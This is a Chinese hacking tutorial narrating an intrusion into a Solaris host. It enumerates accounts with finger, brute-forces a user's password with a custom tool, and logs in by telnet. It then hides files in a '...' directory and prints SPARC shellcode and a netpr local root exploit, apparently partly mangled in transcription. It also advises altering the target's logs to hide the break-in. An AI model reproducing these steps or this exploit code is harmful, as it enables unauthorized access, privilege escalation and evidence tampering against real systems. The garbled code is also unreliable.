这篇文章主要针对一些对网络安全感兴趣、同时又还不怎么熟悉Unix入侵和防范的朋友们而写的一篇文章。本文循序渐进地介绍了黑客攻击Unix主机的主要方法和系统管理员如何针对这些方法进行有效的防御等。
研究一下,除去root和被关掉的账号,还有七个可用账号:dennis、walter、power、deal、jessica、smith和render,他们就是我们进入该主机最后的希望。^_^ finger上场!
bash$Content$nbsp;finger @202.202.0.8
[202.202.0.8 ]
Login Name TTY Idle When Where
daemon ??? < . . . . >
bin ??? < . . . . >
sys ??? < . . . . >
walter Walter Wan pts/0 202.202.0.114
dennis Dennis Lee 437 888wnet.net
power Power Xiong 0 202.202.0.10
deal H Wang pts/2 202.202.0.11
admin ??? < . . . . >
jessica Jessica Xiao pts/0 202.202.0.9
smith Smith Liu pts/0 202.202.0.13
render Render pts/0 202.103.10.117
ftp ??? < . . . . >
好!我需要的Name出来了,赶快保存:
bash$Content$nbsp;finger @202.202.0.8 >> /home/crossbow/name.lst
bash$Content$nbsp;more /home/crossbow/name.lst
[202.202.0.8 ]
Login Name TTY Idle When Where
daemon ??? < . . . . >
bin ??? < . . . . >
sys ??? < . . . . >
walter Walter Wan pts/0 202.202.0.114
dennis Dennis Lee 437 888wnet.net
power Power Xiong 0 202.202.0.10
deal H Wang pts/2 202.202.0.11
admin ??? pts/0 < . . . . >
jessica Jessica Xiao pts/0 202.202.0.9
smith Smith Liu pts/0 202.202.0.13
render Render Chen 0 202.103.10.117
ftp ??? < . . . . >
由于很多人都用自己的姓名及变体作密码,我们就用他们的用户名、姓、和数字的各种组合试一试,成功率应该不低。这里我用一个我自己用C写的程序——got!来跑吧。got!它自己会用用户的姓、名和0-9数字的各种组合来尝试模拟telnet登陆,省时省力。^_^ 不过这种暴力破解法会在目标机的日志上留下痕迹。:-( 因此后面进去后一定记得把日志“加工”一下。它的用法是:got! -n 用户的姓 目标机器 用户名,你也可以用-f来指定字典文件暴力穷举。
bash$Content$nbsp;got! -n wan 202.202.0.8 walter
Attempting...
N分钟以后…………
Failed!
bash$Content$nbsp;
见鬼!失败了一个,再试下一个:
bash$Content$nbsp;got! -n lee 202.202.0.8 dennis
Attempting...
Failed!
bash$Content$nbsp;
再次失败,已经浪费了不少时间了!:-(“失败是成功之母”,不要灰心,接着来:
bash$Content$nbsp;got! -n xiong 202.202.0.8 Power
Attempting...
Bingo!!!
The password of user ’power’ is ’xiong99’! Good luck!
bash$Content$nbsp;
哈哈,得手了!终于搞到一个账户了——用户名:power;密码:xiong99。赶快用telnet吧!
bash$Content$nbsp;telnet 202.202.0.8
SunOS 5.6
login:power
password:
Last login: Sun Dec 2 13:21:55 CDT 2001 from 202.202.0.10
Sun Microsystems Inc. SunOS 5.6
You have mail.
进来了!这个用户不久前还登陆过嘛!不过千万不要看mail,先看看现在有几个人:
$Content$nbsp;w
13:07pm up 61 day(s), 3 users, …………
User tty login@ idle JCPU PCPU what
root pts/0 11:49am tail -f syslog
smith pts/5 12:13pmls -l *.c
power pts/7 13:07pm w
乖乖,管理员正在检查日志!可得小心点!看看这台Sun的版本细节:
$Content$nbsp;uname -a
SunOS dev01 5.6 Generic_105181-19 sun4u sparc SUNW,Ultra-5_10
在看看这个用户的环境设置:
$Content$nbsp;set
HOME=/export/home/power
HZ=100
IFS=
LOGNAME=power
MAIL=/var/mail/power
MAILCHECK=600
OPTIND=1
PATH=/usr/bin:
PS1=$Content$nbsp;
PS2=>
SHELL=/bin/sh
TERM=ansi
TZ=China
再看看有没有gcc,没有这玩艺,那就……@#$%^&*!
$Content$nbsp;gcc
gcc: No input files.
不错,编译器还“健在”,没被删掉。现在,我们就开始溢出吧!^_^
$Content$nbsp;cd
$Content$nbsp;pwd
$Content$nbsp;/export/home/power
$Content$nbsp;mkdir ...
$Content$nbsp;cd ...
$Content$nbsp;vi ./.of.c
file://Here is the C source code for overflow in SunOS.
#include
#include
#include
#include
#include
#define NOPNUM 4000
#define ADRNUM 1200
#define ALLIGN 3
char shellcode[]=
"\x20\xbf\xff\xff" /* bn,a */
"\x20\xbf\xff\xff" /* bn,a */
"\x7f\xff\xff\xff" /* call */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0xb,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh";
char jump[]=
"\x81\xc3\xe0\x08" /* jmp %o7+8 */
"\x90\x10\x00\x0e"; /* mov %sp,%o0 */
static char nop[]="\x80\x1c\x40\x11";
main(int argc,char **argv)
{
char buffer[10000],adr[4],*b,*envp[2];
int i;
printf("copyright LAST STAGE OF DELIRIUM dec 1999 poland file://lsd-pl.net/\n");
printf("/usr/lib/lp/bin/netpr solaris 2.7 sparc\n\n");
if(argc==1)
{
printf("usage: %s lpserver\n",argv[0]);
exit(-1);
}
*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+7124+2000;
envp[0]=&buffer[0];
envp[1]=0;
b=&buffer[0];
sprintf(b,"xxx=");
b+=4;
for(i=0;i<1+4-((strlen(argv[1])%4));i++) *b++=0xff;
for(i=0;i<1+4-((strlen(argv[1])%4));i++) *b=0;
b=&buffer[5000];
for(i=0;i<1+4-((strlen(argv[1])%4));i++) *b=0;
execle("/usr/lib/lp/bin/netpr","lsd","-I","bzz-z","-U","x!x","-d",argv[1],
"-p",&buffer[5000],"/bin/sh",0,envp);
}
上面我们建立一个隐藏目录“...”,再建立一个隐藏的源代码文件“.of.c”。接着输入一大串代码,最后按:wq保存并退出vi。我们看看源代码是否生成了:
$Content$nbsp;ls -al
total 1330
drw-rw-rw- 7 power user 1999 Jul 4 19:07 .
drw-r--r-- 35 root root 1999 Jun 29 16:52 ..
-rw-rw-r-- 1 power user 2001 Dec 8 13:15 .of.c
Ok! 现在编译链接吧!^_^
$Content$nbsp;gcc -o .of .of.c
.of.c:17: malformed floating constant
.of.c:18: malformed floating constant
.of.c:23: nondigits in number and not hexadecimal
…………
…………
gcc:[$Content$nbsp;Error 2 $]
$Content$nbsp;
???怎么出错了?!估计是有地方敲错了。只好先用gdb调试,再用vi来修改了,真麻烦!(略去调试过程)…………终于改完了,编译试一试:
$Content$nbsp;gcc -o .of .of.c
$Content$nbsp;
幸好没出错。Run一下啰…………别慌!看看root还在不在:
$Content$nbsp;w
13:31pm up 61 day(s), 1 user, …………
User tty login@ idle JCPU PCPU what
power pts/7 13:07pm w